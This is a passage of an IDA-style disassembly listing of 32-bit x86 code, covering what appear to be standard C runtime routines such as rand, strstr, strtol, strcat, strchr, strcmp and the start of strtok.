7FFFFFFFh push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C2A6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C2B3 ; --------------------------------------------------------------------------- loc_41C2A6: ; CODE XREF: sub_41C266+36j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C2B3: ; CODE XREF: sub_41C266+3Ej mov eax, esi pop esi leave retn sub_41C266 endp ; =============== S U B R O U T I N E ======================================= sub_41C2B8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+315Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43AE00, eax retn sub_41C2B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C2C2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43AE00 imul eax, 343FDh add eax, 269EC3h mov dword_43AE00, eax sar eax, 10h and eax, 7FFFh retn sub_41C2C2 endp ; =============== S U B R O U T I N E ======================================= sub_41C2E0 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C35A mov dh, [ecx+1] test dh, dh jz short loc_41C347 loc_41C2F8: ; CODE XREF: sub_41C2E0+52j ; sub_41C2E0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C31A test al, al jz short loc_41C314 loc_41C309: ; CODE XREF: sub_41C2E0+32j mov al, [esi] inc esi loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj cmp al, dl jz short loc_41C31A test al, al jnz short loc_41C309 loc_41C314: ; CODE XREF: sub_41C2E0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C31A: ; CODE XREF: sub_41C2E0+23j ; sub_41C2E0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C30C lea edi, [esi-1] loc_41C324: ; CODE XREF: sub_41C2E0+63j mov ah, [ecx+2] test ah, ah jz short loc_41C353 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C2F8 mov al, [ecx+3] test al, al jz short loc_41C353 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C324 jmp short loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C347: ; CODE XREF: sub_41C2E0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C996 ; --------------------------------------------------------------------------- loc_41C353: ; CODE XREF: sub_41C2E0+49j ; sub_41C2E0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C35A: ; CODE XREF: sub_41C2E0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C360 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C15p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C39F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C3AC ; --------------------------------------------------------------------------- loc_41C39F: ; CODE XREF: sub_41C360+35j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C3AC: ; CODE XREF: sub_41C360+3Dj mov eax, esi pop esi leave retn sub_41C360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3B1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+2177p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B9C0 cmp eax, 1 pop ecx jb short loc_41C3EC cmp byte ptr [ebx+1], 3Ah jnz short loc_41C3EC mov esi, [ebp+arg_4] test esi, esi jz short loc_41C3E8 push 2 push ebx push esi call sub_420B29 add esp, 0Ch and byte ptr [esi+2], 0 loc_41C3E8: ; CODE XREF: sub_41C3B1+25j inc ebx inc ebx jmp short loc_41C3F6 ; --------------------------------------------------------------------------- loc_41C3EC: ; CODE XREF: sub_41C3B1+18j ; sub_41C3B1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C3F6 and byte ptr [eax], 0 loc_41C3F6: ; CODE XREF: sub_41C3B1+39j ; sub_41C3B1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C46E loc_41C409: ; CODE XREF: sub_41C3B1+87j mov cl, [eax] movzx edx, cl test byte_4DD261[edx], 4 jz short loc_41C41A inc eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C41A: ; CODE XREF: sub_41C3B1+64j cmp cl, 2Fh jz short loc_41C42E cmp cl, 5Ch jz short loc_41C42E cmp cl, 2Eh jnz short loc_41C434 mov [ebp+var_4], eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj ; sub_41C3B1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C434: ; CODE XREF: sub_41C3B1+67j ; sub_41C3B1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C409 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C46E cmp [ebp+arg_8], 0 jz short loc_41C469 sub edi, ebx cmp edi, esi jb short loc_41C452 mov edi, esi loc_41C452: ; CODE XREF: sub_41C3B1+9Dj push edi push ebx push [ebp+arg_8] call sub_420B29 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C469: ; CODE XREF: sub_41C3B1+97j mov ebx, [ebp+arg_4] jmp short loc_41C478 ; --------------------------------------------------------------------------- loc_41C46E: ; CODE XREF: sub_41C3B1+56j ; sub_41C3B1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C478 and byte ptr [ecx], 0 loc_41C478: ; CODE XREF: sub_41C3B1+BBj ; sub_41C3B1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C4CB cmp edi, ebx jb short loc_41C4CB cmp [ebp+arg_C], 0 jz short loc_41C4A8 sub edi, ebx cmp edi, esi jb short loc_41C491 mov edi, esi loc_41C491: ; CODE XREF: sub_41C3B1+DCj push edi push ebx push [ebp+arg_C] call sub_420B29 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C4F3 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C4B8 mov esi, eax loc_41C4B8: ; CODE XREF: sub_41C3B1+103j push esi push [ebp+var_4] push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C4F3 ; --------------------------------------------------------------------------- loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj ; sub_41C3B1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C4E9 sub eax, ebx cmp eax, esi jnb short loc_41C4DA mov esi, eax loc_41C4DA: ; CODE XREF: sub_41C3B1+125j push esi push ebx push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C4F3 and byte ptr [eax], 0 loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj ; sub_41C3B1+118j ... pop edi pop esi pop ebx leave retn sub_41C3B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C500 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C520 loc_41C50C: ; CODE XREF: sub_41C500+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C50C loc_41C520: ; CODE XREF: sub_41C500+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p ; sub_401ACD+7424p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C543 xor eax, eax jmp short loc_41C579 ; --------------------------------------------------------------------------- loc_41C543: ; CODE XREF: sub_41C52F+Ej dec [ebp+arg_4] push esi jz short loc_41C573 mov esi, [ebp+arg_8] loc_41C54C: ; CODE XREF: sub_41C52F+42j dec dword ptr [esi+4] js short loc_41C55B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C562 ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C52F+20j push esi call sub_41F8E3 pop ecx loc_41C562: ; CODE XREF: sub_41C52F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C57D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C573 dec [ebp+arg_4] jnz short loc_41C54C loc_41C573: ; CODE XREF: sub_41C52F+18j ; sub_41C52F+3Dj ... and byte ptr [edi], 0 loc_41C576: ; CODE XREF: sub_41C52F+55j mov eax, ebx pop esi loc_41C579: ; CODE XREF: sub_41C52F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C57D: ; CODE XREF: sub_41C52F+36j cmp edi, [ebp+arg_0] jnz short loc_41C573 xor ebx, ebx jmp short loc_41C576 sub_41C52F endp ; =============== S U B R O U T I N E ======================================= sub_41C586 proc near ; CODE XREF: ___:0041E645p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C586 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C59D proc near ; CODE XREF: sub_41C586+Ep ; sub_41C7A5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C5B5: ; CODE XREF: sub_41C59D+46j cmp dword_43D084, 1 jle short loc_41C5CD movzx eax, bl push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C5DC ; --------------------------------------------------------------------------- loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej test eax, eax jz short loc_41C5E5 mov bl, [esi] inc esi jmp short loc_41C5B5 ; --------------------------------------------------------------------------- loc_41C5E5: ; CODE XREF: sub_41C59D+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C5F3 or [ebp+arg_C], 2 jmp short loc_41C5F8 ; --------------------------------------------------------------------------- loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej cmp bl, 2Bh jnz short loc_41C5FE loc_41C5F8: ; CODE XREF: sub_41C59D+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C5FE: ; CODE XREF: sub_41C59D+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C795 cmp eax, 1 jz loc_41C795 cmp eax, 24h jg loc_41C795 push 10h test eax, eax pop ecx jnz short loc_41C646 cmp bl, 30h jz short loc_41C630 mov [ebp+arg_8], 0Ah jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C630: ; CODE XREF: sub_41C59D+88j mov al, [esi] cmp al, 78h jz short loc_41C643 cmp al, 58h jz short loc_41C643 mov [ebp+arg_8], 8 jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C643: ; CODE XREF: sub_41C59D+97j ; sub_41C59D+9Bj mov [ebp+arg_8], ecx loc_41C646: ; CODE XREF: sub_41C59D+83j cmp [ebp+arg_8], ecx jnz short loc_41C662 cmp bl, 30h jnz short loc_41C662 mov al, [esi] cmp al, 78h jz short loc_41C65A cmp al, 58h jnz short loc_41C662 loc_41C65A: ; CODE XREF: sub_41C59D+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C662: ; CODE XREF: sub_41C59D+91j ; sub_41C59D+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C672: ; CODE XREF: sub_41C59D+16Cj cmp dword_43D084, 1 movzx esi, bl jle short loc_41C68A push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C695 ; --------------------------------------------------------------------------- loc_41C68A: ; CODE XREF: sub_41C59D+DFj mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C695: ; CODE XREF: sub_41C59D+EBj test eax, eax jz short loc_41C6A1 movsx ecx, bl sub ecx, 30h jmp short loc_41C6D3 ; --------------------------------------------------------------------------- loc_41C6A1: ; CODE XREF: sub_41C59D+FAj cmp dword_43D084, 1 jle short loc_41C6B5 push edi push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C6C0 ; --------------------------------------------------------------------------- loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj mov eax, off_43CE78 mov ax, [eax+esi*2] and eax, edi loc_41C6C0: ; CODE XREF: sub_41C59D+116j test eax, eax jz short loc_41C70E movsx eax, bl push eax call sub_420BB3 pop ecx mov ecx, eax sub ecx, 37h loc_41C6D3: ; CODE XREF: sub_41C59D+102j cmp ecx, [ebp+arg_8] jnb short loc_41C70E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C6F8 jnz short loc_41C6F2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C6F8 loc_41C6F2: ; CODE XREF: sub_41C59D+147j or [ebp+arg_C], 4 jmp short loc_41C701 ; --------------------------------------------------------------------------- loc_41C6F8: ; CODE XREF: sub_41C59D+145j ; sub_41C59D+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C701: ; CODE XREF: sub_41C59D+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C672 ; --------------------------------------------------------------------------- loc_41C70E: ; CODE XREF: sub_41C59D+125j ; sub_41C59D+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C72C test edx, edx jz short loc_41C726 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C726: ; CODE XREF: sub_41C59D+181j and [ebp+var_8], 0 jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C72C: ; CODE XREF: sub_41C59D+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C752 test cl, 1 jnz short loc_41C779 and ecx, 2 jz short loc_41C749 cmp [ebp+var_8], 80000000h ja short loc_41C752 loc_41C749: ; CODE XREF: sub_41C59D+1A1j test ecx, ecx jnz short loc_41C779 cmp [ebp+var_8], eax jbe short loc_41C779 loc_41C752: ; CODE XREF: sub_41C59D+197j ; sub_41C59D+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DBDDC, 22h jz short loc_41C768 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C768: ; CODE XREF: sub_41C59D+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C779: ; CODE XREF: sub_41C59D+18Dj ; sub_41C59D+19Cj ... test edx, edx jz short loc_41C782 mov eax, [ebp+var_4] mov [edx], eax loc_41C782: ; CODE XREF: sub_41C59D+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C790 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C790: ; CODE XREF: sub_41C59D+1E9j mov eax, [ebp+var_8] jmp short loc_41C7A0 ; --------------------------------------------------------------------------- loc_41C795: ; CODE XREF: sub_41C59D+66j ; sub_41C59D+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C79E mov [eax], edi loc_41C79E: ; CODE XREF: sub_41C59D+1FDj xor eax, eax loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j pop edi pop esi pop ebx leave retn sub_41C59D endp ; =============== S U B R O U T I N E ======================================= sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p ; sub_401ACD+6931p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C7A5 endp ; =============== S U B R O U T I N E ======================================= sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 268021Bh test eax, eax jnz short loc_41C7D2 nop call near ptr 2680880h jmp short loc_41C7D4 ; --------------------------------------------------------------------------- loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj xor eax, eax loc_41C7D4: ; CODE XREF: sub_41C7BC+14j test eax, eax jz short loc_41C7E3 push eax call sub_420C7F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj xor eax, eax retn sub_41C7BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420CE6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41FF3F push [ebp+arg_0] mov edi, eax push esi call sub_420D73 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C7E6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp ; sub_401ACD+1E3Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C841 xor eax, eax jmp short loc_41C843 ; --------------------------------------------------------------------------- loc_41C841: ; CODE XREF: sub_41C820+1Bj mov eax, edi loc_41C843: ; CODE XREF: sub_41C820+1Fj cld pop edi leave retn sub_41C820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C850 proc near ; CODE XREF: sub_401ACD+854p ; ___:0041E5BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C881 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C87F jz short loc_41C881 dec ecx dec ecx loc_41C87F: ; CODE XREF: sub_41C850+29j not ecx loc_41C881: ; CODE XREF: sub_41C850+9j ; sub_41C850+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp ; sub_401ACD+2FB3p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C901 sub_41C890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p ; sub_401ACD+746Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C8BC loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C8EF test ecx, 3 jnz short loc_41C8AD loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj ; sub_41C8A0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C8BC mov eax, [ecx-4] test al, al jz short loc_41C8FE test ah, ah jz short loc_41C8F9 test eax, 0FF0000h jz short loc_41C8F4 test eax, 0FF000000h jz short loc_41C8EF jmp short loc_41C8BC ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C8A0+12j ; sub_41C8A0+4Bj lea edi, [ecx-1] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F4: ; CODE XREF: sub_41C8A0+44j lea edi, [ecx-2] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj lea edi, [ecx-3] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8FE: ; CODE XREF: sub_41C8A0+39j lea edi, [ecx-4] loc_41C901: ; CODE XREF: sub_41C890+5j ; sub_41C8A0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C926 loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C978 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C90D jmp short loc_41C926 ; --------------------------------------------------------------------------- loc_41C921: ; CODE XREF: sub_41C8A0+9Ej ; sub_41C8A0+B8j mov [edi], edx add edi, 4 loc_41C926: ; CODE XREF: sub_41C8A0+6Bj ; sub_41C8A0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C921 test dl, dl jz short loc_41C978 test dh, dh jz short loc_41C96F test edx, 0FF0000h jz short loc_41C962 test edx, 0FF000000h jz short loc_41C95A jmp short loc_41C921 ; --------------------------------------------------------------------------- loc_41C95A: ; CODE XREF: sub_41C8A0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C962: ; CODE XREF: sub_41C8A0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C96F: ; CODE XREF: sub_41C8A0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C978: ; CODE XREF: sub_41C8A0+72j ; sub_41C8A0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C8A0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C990 loc_41C980: ; CODE XREF: sub_41C990+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C990 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C990 proc near ; CODE XREF: sub_401ACD+412p ; sub_401ACD+4B9p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C996: ; CODE XREF: sub_41C2E0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C9BB loc_41C9A8: ; CODE XREF: sub_41C990+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C980 test cl, cl jz short loc_41CA04 test edx, 3 jnz short loc_41C9A8 loc_41C9BB: ; CODE XREF: sub_41C990+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C9C6: ; CODE XREF: sub_41C990+61j ; sub_41C990+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41CA08 and eax, 81010100h jz short loc_41C9C6 and eax, 1010100h jnz short loc_41CA02 and esi, 80000000h jnz short loc_41C9C6 loc_41CA02: ; CODE XREF: sub_41C990+68j ; sub_41C990+81j ... pop esi pop edi loc_41CA04: ; CODE XREF: sub_41C990+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CA08: ; CODE XREF: sub_41C990+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41CA45 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA3E test ah, ah jz short loc_41CA02 shr eax, 10h cmp al, bl jz short loc_41CA37 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA30 test ah, ah jz short loc_41CA02 jmp short loc_41C9C6 ; --------------------------------------------------------------------------- loc_41CA30: ; CODE XREF: sub_41C990+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41CA37: ; CODE XREF: sub_41C990+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA3E: ; CODE XREF: sub_41C990+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA45: ; CODE XREF: sub_41C990+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41CA9C loc_41CA60: ; CODE XREF: sub_41CA50+3Cj ; sub_41CA50+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 shr eax, 10h cmp al, [ecx+2] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+3] jnz short loc_41CA94 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41CA60 mov edi, edi loc_41CA90: ; CODE XREF: sub_41CA50+18j ; sub_41CA50+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA94: ; CODE XREF: sub_41CA50+14j ; sub_41CA50+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA9C: ; CODE XREF: sub_41CA50+Ej test edx, 1 jz short loc_41CAB8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41CA94 inc ecx or al, al jz short loc_41CA90 test edx, 2 jz short loc_41CA60 loc_41CAB8: ; CODE XREF: sub_41CA50+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 add ecx, 2 jmp short loc_41CA60 sub_41CA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41CAED: ; CODE XREF: sub_41CAD4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41CAED mov edx, [ebp+arg_0] test edx, edx jnz short loc_41CB15 mov edx, dword_4DBE28 loc_41CB15: ; CODE XREF: sub_41CAD4+39j ; sub_41CAD4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41CB35 test al, al jz short loc_41CB35 inc edx jmp short loc_41CB15 ; --------------------------------------------------------------------------- loc_41CB35: ; CODE XREF: sub_41CAD4+58j ; sub_41CAD4+5Cj mov ebx, edx loc_41CB37: ; CODE XREF: sub_41CAD4+81j mov al, [edx] test al, al jz short loc_41CB5B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, 